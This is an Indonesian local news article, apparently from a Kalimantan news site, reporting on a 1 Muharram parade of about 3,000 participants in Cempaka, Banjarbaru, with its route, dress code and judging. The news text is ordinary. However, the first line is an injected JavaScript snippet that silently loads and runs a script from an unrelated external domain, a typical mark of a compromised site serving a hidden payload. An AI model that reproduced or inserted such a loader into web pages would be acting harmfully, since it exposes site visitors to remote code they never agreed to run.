(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
CEMPAKA, Kurang lebih tiga ribu peserta akan tampil dalam pawai 1 Muharram yang berlangsung, Kamis (21/9) pagi. Pawai akbar yang menjadi kegiatan rutin Pesantren Miftahul Khairiyah ini akan melintas di jalan Mistar Cokrokusumo, Cempaka, Banjarbaru.
Panitia Pelaksana Kegiatan Pekan Muharram, Dailami mengatakan, peserta yang terdaftar mengikuti pawai akbar terdiri atas 70 kafilah. Terdiri dari TK PAUD (Pendidikan Anak usia Dini), TK TPA Al Qur’an, SD (Sekolah Dasar), Madrasah Ibtidayah, SMP (Sekolah Menengah Pertama), MTs (Madrasah Tsanawiyah), SMA (Sekolah Menengah Atas) sederajat, remaja langgar, dan masjid se Kota Banjarbaru.
“Insya Allah jumlah peserta tidak kurang dari 2.000 orang. Jika dihitung secara keseluruhan ditambah dengan para pendamping dari guru-guru juga para PMR (Palang Merah Remaja), maka bisa mencapai 3.000 peserta,†ucapnya.
Dikatakan Dailami, peserta pawai akan berjalan kaki secara berkelompok dengan membawa atributnya masing-masing semisal Masjid, Mekkah, Madinah, Onta dan lain sebagainya yang panjangnya tidak lebih dari 2,5 meter serta lebar 2 meter.
“Jumlah peserta dalam satu kelompok tidak kami batasi, karena dengan semakin banyak peserta yang ikut maka akan semakin semarak. Kenapa tidak ada batasan kelompok, karena dulu pernah kami adakan peserta dibatasi, ternyata ada anak TK yang di rumah karena tertinggal,†jelasnya.
Rute yang akan dijalani peserta pawai, meliputi start di Jalan Mistar Cokrokusumo RT 43 RW 01 (Sebelum Polsek Banjarbaru Timur jika dari Simpang Empat Banjarbaru), kemudian berjalan menuju sungai tiung hingga simpang 3 Ujung Murung kemudian berbalik arah menuju tempat finish di Pesantren Miftahul Khairiyah, yang nantinya di sana merupakan tempat diumumkannya juara lomba serta pembagian hadiah.
Berdasarkan pertimbangan, rute peserta TK dikurangi dibandingkan peserta dewasa, yakni hanya sampai Masjid Jami Nurul Hasanah kemudian berbalik arah ke tempat finish.
Ia menambahkan, acara akan dimulai dari jam 08.00 Wita. Peserta yang memenangkan pawai akan dinilai dari segi kerapian, keserasian, serta atribut yang dibawa. Setiap pemenang akan mendapatkan uang pembinaan dari Disbudparpora Banjarbaru.
“Karena ini adalah pawai budaya bernuansa islam, sehingga yang kami tekankan adalah nilai-nilai islaminya. Maka peserta diwajibkan mengenakan busana muslim. Ada yang memakai jubah, ada yang memakai gamis, ada juga yang memakai pakaian dari gaya Arab,†paparnya.
Kemungkinan susunan peserta pawai akan sampai ke depan SPBU Cempaka. Rencananya juga akan ada penutupan jalan, sehingga pengendara bisa melewati jalan alternatif daerah Perkantoran Provinsi. “Nanti kita lihat di lapangan bagaimana, menurut pengalaman yang sudah-sudah, konsep yang direncanakan berbeda dengan yang dialami dilapangan, hal tersebut dikarenakan banyak jumlah peserta, dan tahun ini kita usahakan sesuai konsep,†pungkasnya.***
KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More
KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More
KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More
KANALKALIMANTAN.COM, MARTAPURA - Penentuan desa-desa sebagai penerima bantuan sosial program Penyediaan Air Minum dan Sanitasi… Read More
This website uses cookies.